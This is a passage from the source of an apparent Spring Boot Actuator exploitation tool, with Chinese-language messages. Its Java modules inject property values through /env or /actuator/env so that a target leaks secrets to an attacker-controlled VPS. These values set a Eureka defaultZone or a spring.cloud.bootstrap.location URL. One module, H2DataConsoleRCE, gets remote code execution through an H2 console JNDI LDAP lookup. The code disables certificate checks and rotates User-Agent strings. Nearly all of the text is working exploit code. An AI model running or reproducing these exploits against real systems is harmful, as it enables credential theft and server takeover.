String refsite = site + refapi; 122 | String llib = "spring-boot-starter-actuator"; 123 | String llib1 = "spring-cloud-starter-netflix-eureka-client"; 124 | String data = String.format(expData2,vpsIP + ":" + vpsPORT); 125 | String ua = ""; 126 | disableSSLVerification(); 127 | try{ 128 | URL obj = new URL(site); 129 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 130 | UA_Config uacf = new UA_Config(); 131 | List ualist = uacf.loadUserAgents(); 132 | ua = uacf.getRandomUserAgent(ualist); 133 | conn.setRequestProperty("User-Agent",ua); 134 | conn.setRequestMethod("GET"); 135 | int responseCode = conn.getResponseCode(); 136 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 137 | String inputLine; 138 | StringBuilder response = new StringBuilder(); 139 | while ((inputLine = in.readLine()) != null) { 140 | response.append(inputLine); 141 | } 142 | in.close(); 143 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib) && response.toString().contains(llib1))) { 144 | String regex = llib + "-(\\d+\\.\\d+\\.\\d+)"; 145 | Pattern pattern = Pattern.compile(regex); 146 | Matcher matcher = pattern.matcher(response.toString()); 147 | String regex1 = llib1 + "-(\\d+\\.\\d+\\.\\d+)"; 148 | Pattern pattern1 = Pattern.compile(regex1); 149 | Matcher matcher1 = pattern1.matcher(response.toString()); 150 | if (matcher.find() && matcher1.find()) { 151 | text = String.format("spring-cloud-starter 依赖为: %s", matcher.group(1)); 152 | callback.onResult(text); 153 | text = String.format("spring-cloud-starter-netflix-eureka-client 依赖为:%s",matcher1.group(1)); 154 | callback.onResult(text); 155 | URL obj1 = new URL(site); 156 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 157 | ua = uacf.getRandomUserAgent(ualist); 158 | conn1.setRequestProperty("User-Agent",ua); 159 | conn1.setRequestMethod("POST"); 160 | conn1.setRequestProperty("Content-Type","application/json"); 161 | conn1.setDoOutput(true); 162 | try (OutputStream os = conn1.getOutputStream()) { 163 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 164 | os.write(input, 0, input.length); 165 | } 166 | int responseCode1 = conn1.getResponseCode(); 167 | if (responseCode1 == HttpURLConnection.HTTP_OK){ 168 | URL obj2 = new URL(refsite); 169 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 170 | ua = uacf.getRandomUserAgent(ualist); 171 | conn2.setRequestProperty("User-Agent",ua); 172 | conn2.setRequestMethod("POST"); 173 | conn2.setRequestProperty("Content-Type","application/json"); 174 | conn2.setDoOutput(true); 175 | int responseCode2 = conn2.getResponseCode(); 176 | if (responseCode2 == HttpURLConnection.HTTP_OK){ 177 | text = "反弹成功,请到反弹vps上查看"; 178 | callback.onResult(text); 179 | }else{ 180 | text = "反弹失败,请查看vps状态或网络状态后重试"; 181 | callback.onResult(text); 182 | } 183 | }else{ 184 | text = "发送refresh失败,请重试"; 185 | callback.onResult(text); 186 | } 187 | } 188 | else { 189 | text = "未找到spring-cloud-starter 依赖和spring-cloud-starter-netflix-eureka-client 依赖"; 190 | callback.onResult(text); 191 | } 192 | }else{ 193 | text = "发送请求失败,请重试"; 194 | callback.onResult(text); 195 | } 196 | }catch (Exception e){ 197 | e.printStackTrace(); 198 | } 199 | } 200 | public Stream Exp(ResultCallback callback) throws IOException{ 201 | Stream.Builder builder = Stream.builder(); 202 | String api ="/actuator/env"; 203 | String site = address + api; 204 | String ua = ""; 205 | disableSSLVerification(); 206 | try{ 207 | URL obj = new URL(site); 208 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 209 | UA_Config uacf = new UA_Config(); 210 | List ualist = uacf.loadUserAgents(); 211 | ua = uacf.getRandomUserAgent(ualist); 212 | conn.setRequestProperty("User-Agent",ua); 213 | conn.setRequestMethod("GET"); 214 | int responseCode = conn.getResponseCode(); 215 | if (responseCode == HttpURLConnection.HTTP_OK) { 216 | // 存在路径是springboot2,否则是springboot1 217 | text = "当前版本为springboot2"; 218 | callback.onResult(text); 219 | Result2(callback); 220 | }else if (responseCode == HttpURLConnection.HTTP_NOT_FOUND){ 221 | text = "当前版本为springboot1"; 222 | callback.onResult(text); 223 | Result1(callback); 224 | }else{ 225 | text = "未识别springboot版本"; 226 | callback.onResult(text); 227 | } 228 | }catch (IOException e){ 229 | e.printStackTrace(); 230 | } 231 | return builder.build(); 232 | } 233 | 234 | } 235 | -------------------------------------------------------------------------------- /src/main/module/GetSpPassWord_II.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.common.UA_Config; 4 | import src.main.impl.ResultCallback; 5 | 6 | import java.io.*; 7 | import java.net.*; 8 | import java.nio.charset.StandardCharsets; 9 | import java.util.List; 10 | import java.util.regex.Matcher; 11 | import java.util.regex.Pattern; 12 | 13 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 14 | 15 | public class GetSpPassWord_II { 16 | private final String address; 17 | private final String vpsIP; 18 | private final String vpsPORT; 19 | private final String args; 20 | public String text; 21 | public GetSpPassWord_II(String address,String vpsIP,String vpsPORT,String args){ 22 | this.address = address; 23 | this.vpsIP = vpsIP; 24 | this.vpsPORT = vpsPORT; 25 | this.args = args; 26 | } 27 | 28 | public void Result1(ResultCallback callback) throws IOException { 29 | String api = "/env"; 30 | String refapi = "/refresh"; 31 | String site = address + api; 32 | String refsite = address + refapi; 33 | String llib = "spring-boot-starter-actuator"; 34 | String llib1 = "spring-cloud-starter-netflix-eureka-client"; 35 | String expdata = "eureka.client.serviceUrl.defaultZone=http://value:${%s}@%s"; 36 | String data = String.format(expdata,args,vpsIP+":"+vpsPORT); 37 | String ua = ""; 38 | disableSSLVerification(); 39 | try{ 40 | URL obj = new URL(site); 41 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 42 | UA_Config uacf = new UA_Config(); 43 | List ualist = uacf.loadUserAgents(); 44 | ua = uacf.getRandomUserAgent(ualist); 45 | conn.setRequestProperty("User-Agent",ua); 46 | conn.setRequestMethod("GET"); 47 | int responseCode = conn.getResponseCode(); 48 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 49 | String inputLine; 50 | StringBuilder response = new StringBuilder(); 51 | while ((inputLine = in.readLine()) != null) { 52 | response.append(inputLine); 53 | } 54 | in.close(); 55 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib))&&(response.toString().contains(llib1))) { 56 | String regex1 = llib + "-(\\d+\\.\\d+\\.\\d+)"; 57 | Pattern pattern1 = Pattern.compile(regex1); 58 | Matcher matcher1 = pattern1.matcher(response.toString()); 59 | String regex2 = llib1 + "-(\\d+\\.\\d+\\.\\d+)"; 60 | Pattern pattern2 = Pattern.compile(regex2); 61 | Matcher matcher2 = pattern2.matcher(response.toString()); 62 | if (matcher1.find() && matcher2.find()) { 63 | text = String.format("eureka-client 依赖为: %s", matcher1.group(1)); 64 | callback.onResult(text); 65 | text = String.format("spring-boot-starter-actuator 依赖为: %s", matcher2.group(1)); 66 | callback.onResult(text); 67 | URL obj1 = new URL(site); 68 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 69 | ua = uacf.getRandomUserAgent(ualist); 70 | conn1.setRequestProperty("User-Agent",ua); 71 | conn1.setRequestMethod("POST"); 72 | conn1.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 73 | conn1.setDoOutput(true); 74 | try (OutputStream os = conn1.getOutputStream()) { 75 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 76 | os.write(input, 0, input.length); 77 | } 78 | int responseCode1 = conn1.getResponseCode(); 79 | if (responseCode1 == HttpURLConnection.HTTP_OK) { 80 | URL obj2 = new URL(refsite); 81 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 82 | ua = uacf.getRandomUserAgent(ualist); 83 | conn2.setRequestProperty("User-Agent",ua); 84 | conn2.setRequestMethod("POST"); 85 | conn2.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 86 | int responseCode2 = conn2.getResponseCode(); 87 | if (responseCode2 == HttpURLConnection.HTTP_OK) { 88 | text = "请求成功!请在你的反弹服务器上查看"; 89 | callback.onResult(text); 90 | } else { 91 | text = "发送请求失败!"; 92 | callback.onResult(text); 93 | } 94 | } else { 95 | text = "发送请求失败"; 96 | callback.onResult(text); 97 | } 98 | }else{ 99 | text = "发送请求失败!"; 100 | callback.onResult(text); 101 | } 102 | } 103 | }catch (Exception e){ 104 | e.printStackTrace(); 105 | } 106 | } 107 | 108 | public void Result2(ResultCallback callback) { 109 | String api = "/actuator/env"; 110 | String site = address + api; 111 | String refapi = "/actuator/refresh"; 112 | String refsite = address + refapi; 113 | String llib = "spring-boot-starter-actuator"; 114 | String llib1 = "spring-cloud-starter-netflix-eureka-client"; 115 | String expdata = "{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http://value:${%s}@%s\"}"; 116 | String data = String.format(expdata,args,vpsIP+":"+vpsPORT); 117 | String ua = ""; 118 | disableSSLVerification(); 119 | try{ 120 | URL obj = new URL(site); 121 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 122 | UA_Config uacf = new UA_Config(); 123 | List ualist = uacf.loadUserAgents(); 124 | ua = uacf.getRandomUserAgent(ualist); 125 | conn.setRequestProperty("User-Agent",ua); 126 | conn.setRequestMethod("GET"); 127 | int responseCode = conn.getResponseCode(); 128 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 129 | String inputLine; 130 | StringBuilder response = new StringBuilder(); 131 | while ((inputLine = in.readLine()) != null) { 132 | response.append(inputLine); 133 | } 134 | in.close(); 135 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib))&&(response.toString().contains(llib1))) { 136 | String regex1 = llib + "-(\\d+\\.\\d+\\.\\d+)"; 137 | Pattern pattern1 = Pattern.compile(regex1); 138 | Matcher matcher1 = pattern1.matcher(response.toString()); 139 | String regex2 = llib1 + "-(\\d+\\.\\d+\\.\\d+)"; 140 | Pattern pattern2 = Pattern.compile(regex2); 141 | Matcher matcher2 = pattern2.matcher(response.toString()); 142 | if (matcher1.find() && matcher2.find()) { 143 | text = String.format("eureka-client 依赖为: %s", matcher1.group(1)); 144 | callback.onResult(text); 145 | text = String.format("spring-boot-starter-actuator 依赖为: %s", matcher2.group(1)); 146 | callback.onResult(text); 147 | URL obj1 = new URL(site); 148 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 149 | ua = uacf.getRandomUserAgent(ualist); 150 | conn1.setRequestProperty("User-Agent",ua); 151 | conn1.setRequestMethod("POST"); 152 | conn1.setRequestProperty("Content-Type", "application/application/json"); 153 | conn1.setDoOutput(true); 154 | try (OutputStream os = conn1.getOutputStream()) { 155 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 156 | os.write(input, 0, input.length); 157 | } 158 | int responseCode1 = conn1.getResponseCode(); 159 | if (responseCode1 == HttpURLConnection.HTTP_OK) { 160 | URL obj2 = new URL(refsite); 161 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 162 | ua = uacf.getRandomUserAgent(ualist); 163 | conn2.setRequestProperty("User-Agent",ua); 164 | conn2.setRequestMethod("POST"); 165 | conn2.setRequestProperty("Content-Type", "application/json"); 166 | int responseCode2 = conn2.getResponseCode(); 167 | if (responseCode2 == HttpURLConnection.HTTP_OK) { 168 | String result = "请求成功,请在你的反弹服务器上查看"; 169 | callback.onResult(result); 170 | } else { 171 | text = "发送请求失败!"; 172 | callback.onResult(text); 173 | } 174 | } else { 175 | text = "发送请求失败!"; 176 | callback.onResult(text); 177 | } 178 | }else{ 179 | text = "未匹配到所需依赖!"; 180 | callback.onResult(text); 181 | } 182 | } 183 | }catch (Exception e){ 184 | e.printStackTrace(); 185 | } 186 | } 187 | 188 | public void Exp(ResultCallback callback) throws IOException { 189 | // 先判断springboot版本 190 | // Result1 3 为 sp1 191 | // Result2 4 为 sp2 192 | String site = address + "/env"; 193 | String ua = ""; 194 | disableSSLVerification(); 195 | URL obj = new URL(site); 196 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 197 | UA_Config uacf = new UA_Config(); 198 | List ualist = uacf.loadUserAgents(); 199 | ua = uacf.getRandomUserAgent(ualist); 200 | conn.setRequestProperty("User-Agent",ua); 201 | conn.setRequestMethod("GET"); 202 | int responseCode = conn.getResponseCode(); 203 | if (responseCode == HttpURLConnection.HTTP_OK){ 204 | text = "当前版本为springboot1"; 205 | callback.onResult(text); 206 | Result1(callback); 207 | }else if (responseCode == HttpURLConnection.HTTP_NOT_FOUND){ 208 | text = "当前版本为springboot2"; 209 | callback.onResult(text); 210 | Result2(callback); 211 | }else{ 212 | text = "无法确认springboot版本,请重试"; 213 | callback.onResult(text); 214 | } 215 | } 216 | } 217 | -------------------------------------------------------------------------------- /src/main/module/GetSpPassWord_III.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.common.UA_Config; 4 | import src.main.impl.ResultCallback; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.IOException; 8 | import java.io.InputStreamReader; 9 | import java.io.OutputStream; 10 | import java.net.HttpURLConnection; 11 | import java.net.MalformedURLException; 12 | import java.net.ProtocolException; 13 | import java.net.URL; 14 | import java.nio.charset.StandardCharsets; 15 | import java.util.List; 16 | import java.util.regex.Matcher; 17 | import java.util.regex.Pattern; 18 | 19 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 20 | 21 | public class GetSpPassWord_III { 22 | private final String address; 23 | private final String vpsIP; 24 | private final String vpsPORT; 25 | private final String args; 26 | public String text; 27 | public GetSpPassWord_III(String address,String vpsIP,String vpsPORT,String args){ 28 | this.address = address; 29 | this.vpsIP = vpsIP; 30 | this.vpsPORT = vpsPORT; 31 | this.args = args; 32 | } 33 | public void Result1(ResultCallback callback){ 34 | String api = "/env"; 35 | String refapi = "/refresh"; 36 | String site = address + api; 37 | String refsite = address +refapi; 38 | String expdata = "spring.cloud.bootstrap.location=http://%s/?=${%s}"; 39 | String data = String.format(expdata,vpsIP+":"+vpsPORT,args); 40 | String ua = ""; 41 | disableSSLVerification(); 42 | try{ 43 | URL obj = new URL(site); 44 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 45 | UA_Config uacf = new UA_Config(); 46 | List ualist = uacf.loadUserAgents(); 47 | ua = uacf.getRandomUserAgent(ualist); 48 | conn.setRequestProperty("User-Agent",ua); 49 | conn.setRequestMethod("POST"); 50 | conn.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); 51 | conn.setDoOutput(true); 52 | try(OutputStream os = conn.getOutputStream()){ 53 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 54 | os.write(input,0,input.length); 55 | } 56 | int responseCode = conn.getResponseCode(); 57 | if(responseCode == HttpURLConnection.HTTP_OK){ 58 | URL obj1 = new URL(refsite); 59 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 60 | ua = uacf.getRandomUserAgent(ualist); 61 | conn1.setRequestProperty("User-Agent",ua); 62 | conn1.setRequestMethod("POST"); 63 | conn1.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); 64 | conn1.setDoOutput(true); 65 | int responseCode1 = conn1.getResponseCode(); 66 | if (responseCode1 == HttpURLConnection.HTTP_OK){ 67 | text = "请求成功!请在你的反弹服务器上查看"; 68 | callback.onResult(text); 69 | }else{ 70 | text = "发送请求失败!"; 71 | callback.onResult(text); 72 | } 73 | }else { 74 | text = "发送请求失败!"; 75 | callback.onResult(text); 76 | } 77 | }catch (Exception e){ 78 | e.printStackTrace(); 79 | } 80 | } 81 | public void Result2(ResultCallback callback){ 82 | String api = "/actuator/env"; 83 | String refapi = "/actuator/refresh"; 84 | String site = address + api; 85 | String refsite = address +refapi; 86 | String expdata = "{\"name\":\"spring.cloud.bootstrap.location\",\"value\":\"http://%s/?=${%s}\"}"; 87 | String data = String.format(expdata,vpsIP+":"+vpsPORT,args); 88 | String ua = ""; 89 | disableSSLVerification(); 90 | try { 91 | URL obj = new URL(site); 92 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 93 | UA_Config uacf = new UA_Config(); 94 | List ualist = uacf.loadUserAgents(); 95 | ua = uacf.getRandomUserAgent(ualist); 96 | conn.setRequestProperty("User-Agent",ua); 97 | conn.setRequestMethod("POST"); 98 | conn.setRequestProperty("Content-Type", "application/json"); 99 | try (OutputStream os = conn.getOutputStream()) { 100 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 101 | os.write(input, 0, input.length); 102 | } 103 | int responseCode = conn.getResponseCode(); 104 | if (responseCode == HttpURLConnection.HTTP_OK){ 105 | URL obj1 = new URL(refsite); 106 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 107 | ua = uacf.getRandomUserAgent(ualist); 108 | conn.setRequestProperty("User-Agent",ua); 109 | conn1.setRequestMethod("POST"); 110 | conn1.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); 111 | conn1.setDoOutput(true); 112 | int responseCode1 = conn1.getResponseCode(); 113 | if (responseCode1 == HttpURLConnection.HTTP_OK){ 114 | text = "请求成功!请在你的反弹服务器上查看"; 115 | callback.onResult(text); 116 | }else{ 117 | text = "发送请求失败!"; 118 | callback.onResult(text); 119 | } 120 | }else{ 121 | text = "发送请求失败!"; 122 | callback.onResult(text); 123 | } 124 | } catch (Exception e) { 125 | e.printStackTrace(); 126 | } 127 | } 128 | public void Exp(ResultCallback callback) throws IOException { 129 | String site = address + "/env"; 130 | String ua = ""; 131 | disableSSLVerification(); 132 | URL obj = new URL(site); 133 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 134 | UA_Config uacf = new UA_Config(); 135 | List ualist = uacf.loadUserAgents(); 136 | ua = uacf.getRandomUserAgent(ualist); 137 | conn.setRequestProperty("User-Agent",ua); 138 | conn.setRequestMethod("GET"); 139 | int responseCode = conn.getResponseCode(); 140 | if (responseCode == HttpURLConnection.HTTP_OK){ 141 | text = "当前版本为springboot1"; 142 | callback.onResult(text); 143 | Result1(callback); 144 | }else if (responseCode == HttpURLConnection.HTTP_NOT_FOUND){ 145 | text = "当前版本为springboot2"; 146 | callback.onResult(text); 147 | Result2(callback); 148 | }else{ 149 | text = "无法确认springboot版本,请重试"; 150 | callback.onResult(text); 151 | } 152 | } 153 | } 154 | -------------------------------------------------------------------------------- /src/main/module/H2DataConsoleRCE.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.LoadLib.ClassCom.ClsComp; 4 | import src.main.common.UA_Config; 5 | import src.main.common.VersionComparator; 6 | import src.main.impl.ResultCallback; 7 | 8 | import java.io.*; 9 | import java.net.HttpURLConnection; 10 | import java.net.MalformedURLException; 11 | import java.net.URL; 12 | import java.nio.charset.StandardCharsets; 13 | import java.util.List; 14 | import java.util.Objects; 15 | import java.util.regex.Matcher; 16 | import java.util.regex.Pattern; 17 | 18 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 19 | 20 | public class H2DataConsoleRCE { 21 | private String address; 22 | public String text; 23 | private String vpsIP; 24 | private String vpsPort; 25 | private String jess; 26 | private boolean isPoc; 27 | public String exp2 = "language=en&setting=Generic+H2+%%28Embedded%%29&name=Generic+H2+%%28Embedded%%29&driver=javax.naming.InitialContext&url=ldap://%s:1389/H2DataConsole&user=&password="; 28 | public H2DataConsoleRCE(String address,String vpsIP,String vpsPort, boolean isPoc){ 29 | this.address = address; 30 | this.vpsIP = vpsIP; 31 | this.vpsPort = vpsPort; 32 | this.isPoc = isPoc; 33 | } 34 | 35 | public void exp(ResultCallback callback){ 36 | String api = "/actuator/env"; 37 | String site = address + api; 38 | String llib = "h2database"; 39 | String llib1 = "spring.h2.console.enabled"; 40 | String llib2 = "jdk"; 41 | String h2site = address + "/h2-console/login.do?jsessionid="; 42 | String data = ""; 43 | String ua = ""; 44 | disableSSLVerification(); 45 | try{ 46 | URL obj = new URL(site); 47 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 48 | UA_Config uacf = new UA_Config(); 49 | List ualist = uacf.loadUserAgents(); 50 | ua = uacf.getRandomUserAgent(ualist); 51 | conn.setRequestProperty("User-Agent",ua); 52 | conn.setRequestMethod("GET"); 53 | int responseCode = conn.getResponseCode(); 54 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 55 | String inputLine; 56 | StringBuilder response = new StringBuilder(); 57 | while ((inputLine = in.readLine()) != null) { 58 | response.append(inputLine); 59 | } 60 | in.close(); 61 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib)) && (response.toString().contains(llib1))) { 62 | String regex = llib + "/h2/" + "(\\d+\\.\\d+\\.\\d+)"; 63 | Pattern pattern = Pattern.compile(regex); 64 | Matcher matcher = pattern.matcher(response.toString()); 65 | String regex1 = "\"" + llib1 + "\":\\{\"value\":\"(.*?)\""; 66 | Pattern pattern1 = Pattern.compile(regex1); 67 | Matcher matcher1 = pattern1.matcher(response.toString()); 68 | String regex2 = llib2 + "(\\d+\\.\\d+\\.\\d+_\\d+)"; 69 | Pattern pattern2 = Pattern.compile(regex2); 70 | Matcher matcher2 = pattern2.matcher(response.toString()); 71 | if (matcher.find() && matcher1.find() && matcher2.find() && matcher1.group(1).equals("true")) { 72 | text = String.format("h2database 依赖为: %s", matcher.group(1)); 73 | callback.onResult(text); 74 | text = String.format("spring.h2.console.enabled 值为 %s", matcher1.group(1)); 75 | callback.onResult(text); 76 | text = String.format("jdk版本为: %s", matcher2.group(1)); 77 | callback.onResult(text); 78 | URL obj1 = new URL(address + "/h2-console"); 79 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 80 | UA_Config uacf1 = new UA_Config(); 81 | List ualist1 = uacf1.loadUserAgents(); 82 | ua = uacf.getRandomUserAgent(ualist1); 83 | conn1.setRequestProperty("User-Agent",ua); 84 | conn1.setRequestMethod("GET"); 85 | int responseCode1 = conn1.getResponseCode(); 86 | BufferedReader in1 = new BufferedReader(new InputStreamReader(conn1.getInputStream())); 87 | String inputLine1; 88 | StringBuilder response1 = new StringBuilder(); 89 | while ((inputLine1 = in1.readLine()) != null) { 90 | response1.append(inputLine1); 91 | } 92 | in1.close(); 93 | if ((responseCode1 == HttpURLConnection.HTTP_OK) && response1.toString().contains("jsessionid")){ 94 | String regex3 = "jsessionid=([a-zA-Z0-9]+)"; 95 | Pattern pattern3 = Pattern.compile(regex3); 96 | Matcher matcher3 = pattern3.matcher(response1.toString()); 97 | if (matcher3.find()){ 98 | text = "jsessionid为: " + matcher3.group(1); 99 | callback.onResult(text); 100 | jess = matcher3.group(1); 101 | ClsComp cc = new ClsComp(vpsIP,vpsPort); 102 | boolean isModify = cc.modifyJavaClassFile("/JNDIObject/H2DataConsoleTemplate.java","H2DataConsole.java",callback); 103 | if (isModify){ 104 | cc.CompileJava("H2DataConsole","H2DataConsole",callback); 105 | } 106 | URL obj2 = new URL(h2site + jess); 107 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 108 | data = String.format(exp2,vpsIP); 109 | ua = uacf.getRandomUserAgent(ualist1); 110 | conn2.setRequestProperty("User-Agent",ua); 111 | conn2.setRequestMethod("POST"); 112 | conn2.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); 113 | conn2.setRequestProperty("Referer",h2site + jess); 114 | conn2.setRequestProperty("Host",address.replaceFirst("^https?://","")); 115 | conn2.setReadTimeout(2000); // 设置读取超时 116 | conn2.setDoOutput(true); 117 | try (OutputStream os = conn2.getOutputStream()) { 118 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 119 | os.write(input, 0, input.length); 120 | } 121 | try { 122 | System.out.println("这个漏洞发送payload服务器会超时,忽略异常,状态码: " + conn2.getResponseCode()); 123 | } catch (java.net.SocketTimeoutException e) { 124 | text = "命令执行成功,请在vps上查看信息"; 125 | callback.onResult(text); 126 | text = "当前监听vpsIP: " + vpsIP + " " + "vpsPort: " + vpsPort; 127 | callback.onResult(text); 128 | } 129 | }else{ 130 | text = "未找到jsessionid"; 131 | callback.onResult(text); 132 | } 133 | }else{ 134 | text = "发起请求失败,请重试"; 135 | callback.onResult(text); 136 | } 137 | }else{ 138 | text = "未找到依赖或spring.h2.console.enabled值为false"; 139 | callback.onResult(text); 140 | } 141 | }else{ 142 | text = "发送请求失败,请重试"; 143 | callback.onResult(text); 144 | } 145 | }catch (Exception e){ 146 | text = "发起请求异常,请重试"; 147 | callback.onResult(text); 148 | e.printStackTrace(); 149 | } 150 | } 151 | public void poc(ResultCallback callback){ 152 | String api = "/actuator/env"; 153 | String site = address + api; 154 | String llib = "h2database"; 155 | String llib1 = "spring.h2.console.enabled"; 156 | String llib2 = "jdk"; 157 | String ua = ""; 158 | disableSSLVerification(); 159 | try { 160 | URL obj = new URL(site); 161 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 162 | UA_Config uacf = new UA_Config(); 163 | List ualist = uacf.loadUserAgents(); 164 | ua = uacf.getRandomUserAgent(ualist); 165 | conn.setRequestProperty("User-Agent", ua); 166 | conn.setRequestMethod("GET"); 167 | int responseCode = conn.getResponseCode(); 168 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 169 | String inputLine; 170 | StringBuilder response = new StringBuilder(); 171 | while ((inputLine = in.readLine()) != null) { 172 | response.append(inputLine); 173 | } 174 | in.close(); 175 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib)) && (response.toString().contains(llib1))) { 176 | String regex = llib + "/h2/" + "(\\d+\\.\\d+\\.\\d+)"; 177 | Pattern pattern = Pattern.compile(regex); 178 | Matcher matcher = pattern.matcher(response.toString()); 179 | String regex1 = "\"" + llib1 + "\":\\{\"value\":\"(.*?)\""; 180 | Pattern pattern1 = Pattern.compile(regex1); 181 | Matcher matcher1 = pattern1.matcher(response.toString()); 182 | String regex2 = llib2 + "(\\d+\\.\\d+\\.\\d+_\\d+)"; 183 | Pattern pattern2 = Pattern.compile(regex2); 184 | Matcher matcher2 = pattern2.matcher(response.toString()); 185 | if (matcher.find() && matcher1.find() && matcher2.find()) { 186 | text = String.format("h2database 依赖为: %s", matcher.group(1)); 187 | callback.onResult(text); 188 | text = String.format("spring.h2.console.enabled 值为 %s", matcher1.group(1)); 189 | callback.onResult(text); 190 | text = String.format("jdk版本为: %s", matcher2.group(1)); 191 | callback.onResult(text); 192 | if (matcher1.group(1).equals("true") && 193 | VersionComparator.isVersionAtLeast(matcher2.group(1),"11.0.1") || 194 | VersionComparator.isVersionAtLeast(matcher2.group(1),"8u182") || 195 | VersionComparator.isVersionAtLeast(matcher2.group(1),"7u191") || 196 | VersionComparator.isVersionAtLeast(matcher2.group(1),"6u201") 197 | ){ 198 | URL obj1 = new URL(address + "/actuator"); 199 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 200 | conn1.setDoOutput(true); 201 | conn1.setRequestProperty("User-Agent", ua); 202 | conn1.setRequestMethod("GET"); 203 | int responseCode1 = conn1.getResponseCode(); 204 | BufferedReader in1 = new BufferedReader(new InputStreamReader(conn1.getInputStream())); 205 | String inputLine1; 206 | StringBuilder response1 = new StringBuilder(); 207 | while ((inputLine1 = in1.readLine()) != null) { 208 | response1.append(inputLine1); 209 | } 210 | in1.close(); 211 | if (responseCode1 == HttpURLConnection.HTTP_OK && (response1.toString().contains("/restart")) && !matcher.group(1).isEmpty()) { 212 | text = "可能存在漏洞"; 213 | callback.onResult(text); 214 | }else { 215 | text = "不存在可利用漏洞"; 216 | callback.onResult(text); 217 | } 218 | }else { 219 | text = "不存在可利用漏洞"; 220 | callback.onResult(text); 221 | } 222 | } 223 | } 224 | }catch (Exception e){ 225 | text = "检测依赖异常"; 226 | callback.onResult(text); 227 | e.printStackTrace(); 228 | } 229 | } 230 | 231 | public void Exp(ResultCallback callback){ 232 | String api ="/actuator/env"; 233 | String site = address + api; 234 | String ua = ""; 235 | disableSSLVerification(); 236 | try{ 237 | URL obj = new URL(site); 238 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 239 | UA_Config uacf = new UA_Config(); 240 | List ualist = uacf.loadUserAgents(); 241 | ua = uacf.getRandomUserAgent(ualist); 242 | conn.setRequestProperty("User-Agent",ua); 243 | conn.setRequestMethod("GET"); 244 | int responseCode = conn.getResponseCode(); 245 | if (responseCode == HttpURLConnection.HTTP_OK) { 246 | // 存在路径是springboot2,否则是springboot1 247 | text = "当前版本为springboot2"; 248 | callback.onResult(text); 249 | if (isPoc && vpsIP.isEmpty() && vpsPort.isEmpty()){ 250 | poc(callback); 251 | }else{ 252 | exp(callback); 253 | } 254 | }else if (responseCode == HttpURLConnection.HTTP_NOT_FOUND){ 255 | text = "当前版本为springboot1"; 256 | callback.onResult(text); 257 | if (isPoc && vpsIP.isEmpty() && vpsPort.isEmpty()){ 258 | poc(callback); 259 | }else{ 260 | exp(callback); 261 | } 262 | }else{ 263 | text = "未识别springboot版本"; 264 | callback.onResult(text); 265 | } 266 | }catch (IOException e){ 267 | text = "发起请求异常"; 268 | callback.onResult(text); 269 | e.printStackTrace(); 270 | } 271 | } 272 | } 273 | -------------------------------------------------------------------------------- /src/main/module/H2DataQueryRCE.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.common.UA_Config; 4 | import src.main.impl.ResultCallback; 5 | 6 | import java.io.*; 7 | import java.net.HttpURLConnection; 8 | import java.net.URL; 9 | import java.nio.charset.StandardCharsets; 10 | import java.util.Base64; 11 | import java.util.List; 12 | import java.util.Scanner; 13 | import java.util.regex.Matcher; 14 | import java.util.regex.Pattern; 15 | import java.util.stream.Stream; 16 | 17 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 18 | 19 | public class H2DataQueryRCE { 20 | private String address; 21 | public String text; 22 | private String vpsIP; 23 | private String vpsPort; 24 | private boolean 